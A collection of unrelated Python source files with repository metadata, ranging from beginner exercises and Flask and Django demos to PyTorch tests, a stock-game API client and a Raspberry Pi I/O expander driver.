Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-009.01-list/ph-9.13-list-addition-and-multiplication-operations.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-009.01-list/ph-9.13-list-addition-and-multiplication-operations.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-009.01-list/ph-9.13-list-addition-and-multiplication-operations.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
li1 = [1, 2, 3] li2 = [4, 5, 6] li = li1 + li2 print("addition =", li) li1 = [1, 2, 3] li2 = li1 * 3 print("Multiplication = ", li2)
14.888889
31
0.522388
62d217fe771f3a77b99267ba301a14fb263bf126
1,004
py
Python
site/public/courses/BEW-1.1/Lessons/04-Flask-Templating/demo/compliments/app.py
KitsuneNoctus/makeschool
5eec1a18146abf70bb78b4ee3d301f6a43c9ede4
[ "MIT" ]
1
2021-08-24T20:22:19.000Z
2021-08-24T20:22:19.000Z
site/public/courses/BEW-1.1/Lessons/04-Flask-Templating/demo/compliments/app.py
KitsuneNoctus/makeschool
5eec1a18146abf70bb78b4ee3d301f6a43c9ede4
[ "MIT" ]
null
null
null
site/public/courses/BEW-1.1/Lessons/04-Flask-Templating/demo/compliments/app.py
KitsuneNoctus/makeschool
5eec1a18146abf70bb78b4ee3d301f6a43c9ede4
[ "MIT" ]
null
null
null
from flask import Flask, request, render_template from random import choice, sample app = Flask(__name__) compliments = [ 'awesome', 'terrific', 'fantastic', 'neato', 'fantabulous', 'wowza', 'oh-so-not-meh', 'brilliant', 'ducky', 'coolio', 'incredible', 'wonderful', 'smashing', 'lovely', 'tenaciou...
31.375
73
0.660359
3de16d2f718ad81c87cdab8a20c2ea75fb8f2901
755
py
Python
src/onegov/core/orm/types/utcdatetime_type.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/core/orm/types/utcdatetime_type.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/core/orm/types/utcdatetime_type.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from sedate import standardize_date, to_timezone from sqlalchemy import types class UTCDateTime(types.TypeDecorator): """ Stores dates as UTC. Internally, they are stored as timezone naive, because Postgres takes the local timezone into account when working with timezones. Values taken and values ret...
29.038462
77
0.703311
b1255568c5be4a04e0a88d4b0a3df49c95dee200
15,188
py
Python
agspiel/api/ag.py
KingKevin23/agspiel-python-api
33e74ff6bee2f9ce353da757bdb99e929acc1a13
[ "MIT" ]
1
2021-03-09T21:37:41.000Z
2021-03-09T21:37:41.000Z
agspiel/api/ag.py
KingKevin23/agspiel-python-api
33e74ff6bee2f9ce353da757bdb99e929acc1a13
[ "MIT" ]
4
2020-11-13T19:34:58.000Z
2021-07-24T16:25:27.000Z
agspiel/api/ag.py
KingKevin23/agspiel-python-api
33e74ff6bee2f9ce353da757bdb99e929acc1a13
[ "MIT" ]
1
2020-08-24T14:38:18.000Z
2020-08-24T14:38:18.000Z
# Copyright (c) 2021 | KingKevin23 (@kingkevin023) import re from datetime import datetime, date from .aktie import Aktie, Aktionaer from .anleihe import Anleihe, Kredit from .ceo import Ceo from .data import Data from .index import Index from .kapitalmassnahme import Kapitalerhoehung, Kapitalherabsetzung from .orde...
34.596811
123
0.539307
b1431156dd7314728b03b06e269a5bafacb6b0ee
2,358
py
Python
quant/example/ex_bfx.py
doubleDragon/QuantBot
53a1d6c62ecece47bf777da0c0754430b706b7fd
[ "MIT" ]
7
2017-10-22T15:00:09.000Z
2019-09-19T11:45:43.000Z
quant/example/ex_bfx.py
doubleDragon/QuantBot
53a1d6c62ecece47bf777da0c0754430b706b7fd
[ "MIT" ]
1
2018-01-19T16:19:40.000Z
2018-01-19T16:19:40.000Z
quant/example/ex_bfx.py
doubleDragon/QuantBot
53a1d6c62ecece47bf777da0c0754430b706b7fd
[ "MIT" ]
5
2017-12-11T15:10:29.000Z
2018-12-21T17:40:58.000Z
#!/usr/bin/env python # -*- coding: UTF-8 -*- import time from quant import config from quant.api.bitfinex import PrivateClient from quant.brokers.broker_factory import create_brokers '''test client''' # client = PrivateClient(key=config.Bitfinex_SUB_API_KEY, secret=config.Bitfinex_SUB_SECRET_TOKEN) client = PrivateC...
23.117647
98
0.676421
a778c08197754599753043e5a0f4a01e54d48f88
6,821
py
Python
test/test_npu/test_network_ops/test_std_mean.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-12-02T03:07:35.000Z
2021-12-02T03:07:35.000Z
test/test_npu/test_network_ops/test_std_mean.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-11-12T07:23:03.000Z
2021-11-12T08:28:13.000Z
test/test_npu/test_network_ops/test_std_mean.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2020 Huawei Technologies Co., Ltd # Copyright (c) 2019, Facebook CORPORATION. # All rights reserved. # # Licensed under the BSD 3-Clause License (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://opensource.org/lice...
46.087838
98
0.642868
a78f0490b085b72f38ebbef82a92af4e2388a0b5
6,454
py
Python
backend/Parkplatzverwaltung/settings.py
giacomooo/CASFEE_Project2
420ff488d6b9deefe6623a45ecfed299f97a4639
[ "MIT" ]
null
null
null
backend/Parkplatzverwaltung/settings.py
giacomooo/CASFEE_Project2
420ff488d6b9deefe6623a45ecfed299f97a4639
[ "MIT" ]
null
null
null
backend/Parkplatzverwaltung/settings.py
giacomooo/CASFEE_Project2
420ff488d6b9deefe6623a45ecfed299f97a4639
[ "MIT" ]
null
null
null
from pathlib import Path import datetime # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent SECRET_KEY = 'django-insecure-3atbfptp&m=)#2p482^so%4gc!l_-97n1z!@$dd39(@axu*(2^' DEBUG = True USE_TZ = True TIME_ZONE='Europe/Zurich' CORS_ALLOWED_ORIGINS = [ ...
39.595092
192
0.663465
026e3aeb87d84518eba6297e923d5e6e9f88e0f3
306
py
Python
examples/adminEx2/ex/urls.py
zhengtong0898/django-decode
69680853a4a5b07f6a9c4b65c7d86b2d401a92b1
[ "MIT" ]
5
2020-07-14T07:48:10.000Z
2021-12-20T21:20:10.000Z
examples/adminEx2/ex/urls.py
zhengtong0898/django-decode
69680853a4a5b07f6a9c4b65c7d86b2d401a92b1
[ "MIT" ]
7
2021-03-26T03:13:38.000Z
2022-03-12T00:42:03.000Z
examples/adminEx2/ex/urls.py
zhengtong0898/django-decode
69680853a4a5b07f6a9c4b65c7d86b2d401a92b1
[ "MIT" ]
1
2021-02-16T07:04:25.000Z
2021-02-16T07:04:25.000Z
from django.urls import path from . import views # 备注: # django 从 2.0 版本开始就一直采用 path(非正则表达式), 在此之前采用的是 url(正则表达式). # path是一种 DSL, 用于简化表达式, 但是其内部最终还是要转换回到标准的正则表达式. app_name = 'ex' urlpatterns = [ path('', views.index_view, name='index_view'), path('i2', views.index_view_2, name='index_view_2'), ]
25.5
59
0.70915
026f09a8cbc6e5b0445baa508b789ab4886ccf38
708
py
Python
SoSe-21/Uebung-2/A1-BMI-Rechner.py
jonasrdt/Wirtschaftsinformatik2
30d5d896808b98664c55cb6fbb3b30a7f1904d9f
[ "MIT" ]
1
2022-03-23T09:40:39.000Z
2022-03-23T09:40:39.000Z
SoSe-21/Uebung-2/A1-BMI-Rechner.py
jonasrdt/Wirtschaftsinformatik2
30d5d896808b98664c55cb6fbb3b30a7f1904d9f
[ "MIT" ]
null
null
null
SoSe-21/Uebung-2/A1-BMI-Rechner.py
jonasrdt/Wirtschaftsinformatik2
30d5d896808b98664c55cb6fbb3b30a7f1904d9f
[ "MIT" ]
null
null
null
# Aufgabe 1 - Übung 2 # # Berechnung des Body-Mass-Index # bmi = körpermasse (in kg) / körpergröße zum quadrat # Ergebnis: Maßeinheit in kg/m^2 # Variablendefinition # float = Fließkommazahlen # int = Ganze Zahlen # str = String => Zeichenketten groesse = float (input("Bitte geben Sie Ihre Größe in cm ein:")) print ...
35.4
105
0.723164
0c76ef67610587d0ceb3b3811b41a84832176e86
2,975
py
Python
Tests/scripts/destroy_instances.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Tests/scripts/destroy_instances.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Tests/scripts/destroy_instances.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import json import logging import os import subprocess import sys import Tests.scripts.awsinstancetool.aws_functions as aws_functions # pylint: disable=E0611,E0401 from Tests.scripts.utils.log_util import install_logging def main(): install_logging('Destroy_instances.log') circle_aritfact = sys.argv[1] ...
44.402985
119
0.618824
f02f662e543de840cefdd5de1cadf0ff12a7f3e7
1,925
py
Python
src/bo4e/com/standorteigenschaftenallgemein.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
1
2022-03-02T12:49:44.000Z
2022-03-02T12:49:44.000Z
src/bo4e/com/standorteigenschaftenallgemein.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
21
2022-02-04T07:38:46.000Z
2022-03-28T14:01:53.000Z
src/bo4e/com/standorteigenschaftenallgemein.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
null
null
null
""" Contains StandorteigenschaftenAllgemein class and corresponding marshmallow schema for de-/serialization """ import attr from marshmallow import fields from bo4e.com.com import COM, COMSchema # pylint: disable=too-few-public-methods @attr.s(auto_attribs=True, kw_only=True) class StandorteigenschaftenAllgemein(...
35
215
0.746494
e8dbe83c684aaca3139eddec68d201bd45998216
8,979
py
Python
Packs/FeedCyrenThreatInDepth/Scripts/CyrenCountryLookup/CyrenCountryLookup.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/FeedCyrenThreatInDepth/Scripts/CyrenCountryLookup/CyrenCountryLookup.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/FeedCyrenThreatInDepth/Scripts/CyrenCountryLookup/CyrenCountryLookup.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import demistomock as demisto from CommonServerPython import * from CommonServerUserPython import * # ISO 3166-1-derived mapping (begin) COUNTRIES = dict( AW=dict(name="Aruba"), AF=dict(name="Afghanistan"), AO=dict(name="Angola"), AI=dict(name="Anguilla"), AX=dict(name="Åland Islands"), AL=dic...
31.840426
78
0.620336
6830ace5b9e8c52f3d6952c30bacd4e977ceedf3
3,183
py
Python
research/cv/fairmot/src/util.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/fairmot/src/util.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/fairmot/src/util.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
28.936364
82
0.583098
683ab88ee962a395d1869b71edc68856d3ad15d5
871
py
Python
NeuralNet/Oli/evaluateCNN.py
alex-ta/Fontinator
7ca9effe3b61ded032176557520127e1d4b7a5ef
[ "Apache-2.0" ]
6
2017-04-12T14:05:19.000Z
2021-01-29T11:23:50.000Z
NeuralNet/Oli/evaluateCNN.py
alex-ta/Fontinator
7ca9effe3b61ded032176557520127e1d4b7a5ef
[ "Apache-2.0" ]
null
null
null
NeuralNet/Oli/evaluateCNN.py
alex-ta/Fontinator
7ca9effe3b61ded032176557520127e1d4b7a5ef
[ "Apache-2.0" ]
null
null
null
from NeuralNet.Oli.libs.ProcessingPipeline import ProcessingPipeline from NeuralNet.Oli.libs.Preprocessor import * #__________Configuration__________# # Path to folder which contains subfolders with the images IMG_PATH = '../../images/Dataset_2' # Name for model when saved MODEL_LOAD_PATH = "SavedModels/CNN_RAND_80" ...
30.034483
85
0.80023
d7af1b6fb4008420f612d25cfd43e27294e5822e
635
py
Python
posts/search_indexes.py
alien3211/lom-web
c7971238b0dd043854c911a0b9126b84d7deed4a
[ "MIT" ]
null
null
null
posts/search_indexes.py
alien3211/lom-web
c7971238b0dd043854c911a0b9126b84d7deed4a
[ "MIT" ]
null
null
null
posts/search_indexes.py
alien3211/lom-web
c7971238b0dd043854c911a0b9126b84d7deed4a
[ "MIT" ]
null
null
null
from haystack import indexes from .models import Post class PostIndex(indexes.SearchIndex, indexes.Indexable): text = indexes.CharField(document=True, use_template=True) publish = indexes.DateTimeField(model_attr='publish') author = indexes.CharField(model_attr='author') title = indexes.CharField(mode...
33.421053
62
0.737008
cc16f7c57167b123de5538f63e5af90f7f091c8a
205
py
Python
exercises/es/test_03_14_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/es/test_03_14_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/es/test_03_14_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
def test(): assert ( "for doc in nlp.pipe(TEXTS)" in __solution__ ), "¿Estás iterando sobre los docs que fueron devueltos usando <code>yield<code> por nlp.pipe?" __msg__.good("¡Bien!")
34.166667
99
0.653659
f0deb271e2cc4a6c7fa7c44349455723cb4c005f
605
py
Python
src/onegov/town6/views/form_export.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/town6/views/form_export.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/town6/views/form_export.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from onegov.core.security import Private from onegov.form import FormDefinition from onegov.org.views.form_export import handle_form_submissions_export from onegov.town6 import TownApp from onegov.org.forms import FormSubmissionsExport from onegov.town6.layout import FormSubmissionLayout @TownApp.form( model=For...
31.842105
71
0.804959
5027d4b17c539864df3b0328a0a608d99db78e09
996
py
Python
text_parse.py
Artemis-ii/LDA
496e43f875ef35084cfb8539ee8bfe4e4fe68fb7
[ "Apache-2.0" ]
null
null
null
text_parse.py
Artemis-ii/LDA
496e43f875ef35084cfb8539ee8bfe4e4fe68fb7
[ "Apache-2.0" ]
null
null
null
text_parse.py
Artemis-ii/LDA
496e43f875ef35084cfb8539ee8bfe4e4fe68fb7
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Thu Nov 1 15:20:33 2018 @author: 月神少女 """ import xlrd import re class TEXT_parse(): def __init__(self,directory,txt_file): self.directory = directory self.txt_file = txt_file def parse(self): for i in range(1,2): xls_file = x...
31.125
75
0.53012
a88922e452eb5c5d89b543acc22ced4a9cb6f6bc
252
pyde
Python
sketches/Bouncing_Ball_Simulator_Stage_3/Bouncing_Ball_Simulator_Stage_3.pyde
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
4
2018-06-03T02:11:46.000Z
2021-08-18T19:55:15.000Z
sketches/Bouncing_Ball_Simulator_Stage_3/Bouncing_Ball_Simulator_Stage_3.pyde
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
null
null
null
sketches/Bouncing_Ball_Simulator_Stage_3/Bouncing_Ball_Simulator_Stage_3.pyde
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
3
2019-12-23T19:12:51.000Z
2021-04-30T14:00:31.000Z
from bouncingball import BouncingBall def setup(): global ball size(600, 600) col = color(150, 255, 100) ball = BouncingBall(width/2, 10, 20, col) def draw(): global ball background(0, 0, 0) ball.move() ball.display()
18
45
0.623016
a8d232c60dad194af9c782ae12c58fe9f44b18ae
874
py
Python
0-notes/job-search/Cracking the Coding Interview/C03StacksQueues/python/3.5-answer.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
0-notes/job-search/Cracking the Coding Interview/C03StacksQueues/python/3.5-answer.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
0-notes/job-search/Cracking the Coding Interview/C03StacksQueues/python/3.5-answer.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
# 3.5 Sort Stack # Write a program to sort a stack such that the smallest items are on top. # You can use an additional temporary stack, but you may not copy the elements into # any other data structure such as an array. # The stack supports the following operations: push, pop, peek, and isEmpty. class Stack(...
25.705882
84
0.602975
96de6762f2f141e980a9e322bc8c6b64b0199b3d
438
py
Python
30-Days-of-Code/Day09-Recursion.py
sadikkuzu/HackerRank
2b1ed2cf41f6a5404c5b9293186f301b646b5d33
[ "Apache-2.0" ]
5
2019-03-09T22:44:01.000Z
2021-09-14T00:11:38.000Z
30-Days-of-Code/Day09-Recursion.py
jguerra7/HackerRank-4
7e1663d0050ffbb0fd885b8affdada9ea13b0e80
[ "Apache-2.0" ]
4
2018-08-16T09:39:47.000Z
2018-09-14T17:37:07.000Z
30-Days-of-Code/Day09-Recursion.py
jguerra7/HackerRank-4
7e1663d0050ffbb0fd885b8affdada9ea13b0e80
[ "Apache-2.0" ]
1
2020-06-01T23:38:35.000Z
2020-06-01T23:38:35.000Z
#!/bin/python # https://www.hackerrank.com/challenges/30-recursion import math import os import random import re import sys # Complete the factorial function below. def factorial(n): if n<=1: return 1 else: return n*factorial(n-1) if __name__ == '__main__': fptr = open(os.environ['OUTPUT_P...
17.52
52
0.641553
508ea8ab2d455656e909fbbd3142442d616fffd4
335
py
Python
src/bo4e/enum/wertermittlungsverfahren.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
1
2022-03-02T12:49:44.000Z
2022-03-02T12:49:44.000Z
src/bo4e/enum/wertermittlungsverfahren.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
21
2022-02-04T07:38:46.000Z
2022-03-28T14:01:53.000Z
src/bo4e/enum/wertermittlungsverfahren.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
null
null
null
# pylint: disable=missing-module-docstring from bo4e.enum.strenum import StrEnum class Wertermittlungsverfahren(StrEnum): """ Gibt an, ob es sich um eine Prognose oder eine Messung handelt, beispielsweise bei der Abbildung eines Verbrauchs. """ PROGNOSE = "PROGNOSE" #: Prognose MESSUNG = "MESSUN...
27.916667
118
0.722388
e89b7ce2564fbced8241a5872bb90234d09435eb
2,555
py
Python
client-mock.py
lihuiba/SoftSAN
1b8ab2cae92b7aac34211909b27d4ebe595275d7
[ "Apache-2.0" ]
1
2015-08-02T09:53:18.000Z
2015-08-02T09:53:18.000Z
client-mock.py
lihuiba/SoftSAN
1b8ab2cae92b7aac34211909b27d4ebe595275d7
[ "Apache-2.0" ]
null
null
null
client-mock.py
lihuiba/SoftSAN
1b8ab2cae92b7aac34211909b27d4ebe595275d7
[ "Apache-2.0" ]
2
2018-03-21T04:59:50.000Z
2019-12-03T15:54:17.000Z
import rpc, logging, config, util import messages_pb2 as msg import ChunkServer import gevent.socket import mds import guid as Guid # MDS_IP='192.168.0.149' # MDS_PORT=2340 # CHK_IP='192.168.0.149' # CHK_PORT=6780 PARAM=None # socket.close() def configuration(): global PARAM helpmsg = '''group directories before ...
29.034091
80
0.70411
0f1d9ea2bc10102e6c5920ed7a7f54b115f97e76
45,659
py
Python
Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/saga_python-0.18-py2.7.egg/saga/adaptors/shell/shell_file.py
poojavade/Genomics_Docker
829b5094bba18bbe03ae97daf925fee40a8476e8
[ "Apache-2.0" ]
1
2019-07-29T02:53:51.000Z
2019-07-29T02:53:51.000Z
Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/saga_python-0.18-py2.7.egg/saga/adaptors/shell/shell_file.py
poojavade/Genomics_Docker
829b5094bba18bbe03ae97daf925fee40a8476e8
[ "Apache-2.0" ]
1
2021-09-11T14:30:32.000Z
2021-09-11T14:30:32.000Z
Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/saga_python-0.18-py2.7.egg/saga/adaptors/shell/shell_file.py
poojavade/Genomics_Docker
829b5094bba18bbe03ae97daf925fee40a8476e8
[ "Apache-2.0" ]
2
2016-12-19T02:27:46.000Z
2019-07-29T02:53:54.000Z
__author__ = "Andre Merzky, Ole Weidner, Alexander Grill" __copyright__ = "Copyright 2012-2013, The SAGA Project" __license__ = "MIT" """ shell based file adaptor implementation """ import saga.utils.pty_shell as sups import saga.utils.misc as sumisc import saga.adaptors.base import saga.adaptors.cpi.fil...
32.801006
110
0.481176
70ab8599b21cca4e24e5510322a75b818d7ab7d2
2,464
py
Python
Calculator-master/calculator.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
Calculator-master/calculator.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
Calculator-master/calculator.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
#python import os os.system("clear") print("\033[1;32;40m CALCULATOR PROGRAM MADE BY ANONYMINHACK5 \n") print("\033[1;33;40m THIS TOOL WILL HELP IN SOLVING BASIC MATHEMATICAL OPERATIONS FOR EDUCATIONAL PURPOSES\n") print(""" _____ ...
34.704225
115
0.532468
cb5dec0c01c004034ae3fa2ca223c1297656c5f5
8,312
py
Python
chillow/model/game.py
jonashellmann/informaticup21-team-chillow
f2e519af0a5d9a9368d62556703cfb1066ebb58f
[ "MIT" ]
3
2021-01-17T23:32:07.000Z
2022-01-30T14:49:16.000Z
chillow/model/game.py
jonashellmann/informaticup21-team-chillow
f2e519af0a5d9a9368d62556703cfb1066ebb58f
[ "MIT" ]
2
2021-01-17T13:37:56.000Z
2021-04-14T12:28:49.000Z
chillow/model/game.py
jonashellmann/informaticup21-team-chillow
f2e519af0a5d9a9368d62556703cfb1066ebb58f
[ "MIT" ]
2
2021-04-02T14:53:38.000Z
2021-04-20T11:10:17.000Z
from dataclasses import dataclass, field from datetime import datetime, timedelta from typing import List, Optional from pathfinding.core.diagonal_movement import DiagonalMovement from pathfinding.core.grid import Grid from pathfinding.finder.best_first import BestFirst from chillow.model.player import Player from chi...
41.768844
115
0.633903
38dce0d84f8eac049b059d32ca34485575b162fd
1,563
py
Python
data_auth.py
VNCompany/PyDafm
9634f5428b9f3739dbf7c159daad34856b372165
[ "Unlicense" ]
null
null
null
data_auth.py
VNCompany/PyDafm
9634f5428b9f3739dbf7c159daad34856b372165
[ "Unlicense" ]
null
null
null
data_auth.py
VNCompany/PyDafm
9634f5428b9f3739dbf7c159daad34856b372165
[ "Unlicense" ]
null
null
null
from PyQt5 import uic from PyQt5.QtWidgets import QDialog, QMessageBox from dbm import * class DataAuthEditor(QDialog): def __init__(self, dbm: DataBaseManager): super(DataAuthEditor, self).__init__() uic.loadUi("designer/data_auth.ui", self) self.dbm = dbm self.auth_btn.clicked.c...
38.121951
92
0.566859
2a7cc11d8561446c51d0e2705804e119f509e784
3,937
py
Python
torba/torba/workbench/_blockchain_dock.py
mittalkartik2000/lbry-sdk
a07b17ec0c9c5d0a88bc730caf6ab955e0971b38
[ "MIT" ]
4,076
2018-06-01T05:54:24.000Z
2022-03-07T21:05:52.000Z
torba/torba/workbench/_blockchain_dock.py
mittalkartik2000/lbry-sdk
a07b17ec0c9c5d0a88bc730caf6ab955e0971b38
[ "MIT" ]
80
2018-06-14T01:02:03.000Z
2019-06-19T10:45:39.000Z
torba/torba/workbench/_blockchain_dock.py
braveheart12/lbry-sdk
dc709b468f9dce60d206161785def5c7ace2b763
[ "MIT" ]
20
2018-06-27T21:52:22.000Z
2022-03-08T11:25:23.000Z
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'blockchain_dock.ui', # licensing of 'blockchain_dock.ui' applies. # # Created: Sun Jan 13 02:56:21 2019 # by: pyside2-uic running on PySide2 5.12.0 # # WARNING! All changes made in this file will be lost! from PySide2 import QtCore, Q...
55.450704
122
0.733807
2db9822a23d9009e300f8c03665edefc9f70a973
6,544
py
Python
etc/mcp23017-new.py
huberthoegl/tsgrain
405d0ba8b98c2afa950d27294e55cd1e07506db4
[ "Apache-2.0" ]
1
2021-06-15T08:59:02.000Z
2021-06-15T08:59:02.000Z
etc/mcp23017-new.py
huberthoegl/tsgrain
405d0ba8b98c2afa950d27294e55cd1e07506db4
[ "Apache-2.0" ]
null
null
null
etc/mcp23017-new.py
huberthoegl/tsgrain
405d0ba8b98c2afa950d27294e55cd1e07506db4
[ "Apache-2.0" ]
null
null
null
'''Enable I2C bus with "sudo raspi-config" Python package python3-smbus must be installed. ''' import smbus import time import array import math import logging import conf bus = smbus.SMBus(1) logger = logging.getLogger(conf.TSGRAIN_LOGGER) press_handler = None release_handler = None def mcp_handler(intr_nr): ...
29.345291
96
0.665037
ea1f79839b667ad3eae8c499371e2b53c6abd1de
1,320
py
Python
src/process_haar.py
Haus4/studienarbeit-stau
10921f8850df67c797cf174b42fbc5dcec257251
[ "MIT" ]
2
2018-10-16T08:09:13.000Z
2019-02-18T13:33:11.000Z
src/process_haar.py
Haus4/studienarbeit-stau
10921f8850df67c797cf174b42fbc5dcec257251
[ "MIT" ]
7
2019-02-28T18:10:44.000Z
2019-03-04T21:09:03.000Z
src/process_haar.py
Haus4/studienarbeit-stau
10921f8850df67c797cf174b42fbc5dcec257251
[ "MIT" ]
1
2020-04-05T08:53:13.000Z
2020-04-05T08:53:13.000Z
import os import cv2 import numpy import image_utils def parseImageWithMask(img, mask, show, name, classifier): target = img.copy() image_utils.applyMask(target, mask) target = cv2.cvtColor(target, cv2.COLOR_BGR2GRAY) cars = classifier.detectMultiScale(target, 1.1, 1) stau = len(cars) > 10 ...
28.695652
82
0.647727
17ff859494d895c228fc9d6b7994c3b08548b17c
51
py
Python
hw3-cloudmesh/oliveral_cloudmesh_ex1.py
futuresystems/465-oliverlewis
c1a093e9de012e752a2277c4fb533cbd974a5a8d
[ "Apache-2.0" ]
null
null
null
hw3-cloudmesh/oliveral_cloudmesh_ex1.py
futuresystems/465-oliverlewis
c1a093e9de012e752a2277c4fb533cbd974a5a8d
[ "Apache-2.0" ]
null
null
null
hw3-cloudmesh/oliveral_cloudmesh_ex1.py
futuresystems/465-oliverlewis
c1a093e9de012e752a2277c4fb533cbd974a5a8d
[ "Apache-2.0" ]
null
null
null
import cloudmesh print cloudmesh.shell("version")
12.75
32
0.803922
10636bceb88aded6f5f4003518b1f08d817562c9
1,695
py
Python
c++basic/DATA_STRUCTURES/prime_numpy.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
c++basic/DATA_STRUCTURES/prime_numpy.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
c++basic/DATA_STRUCTURES/prime_numpy.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
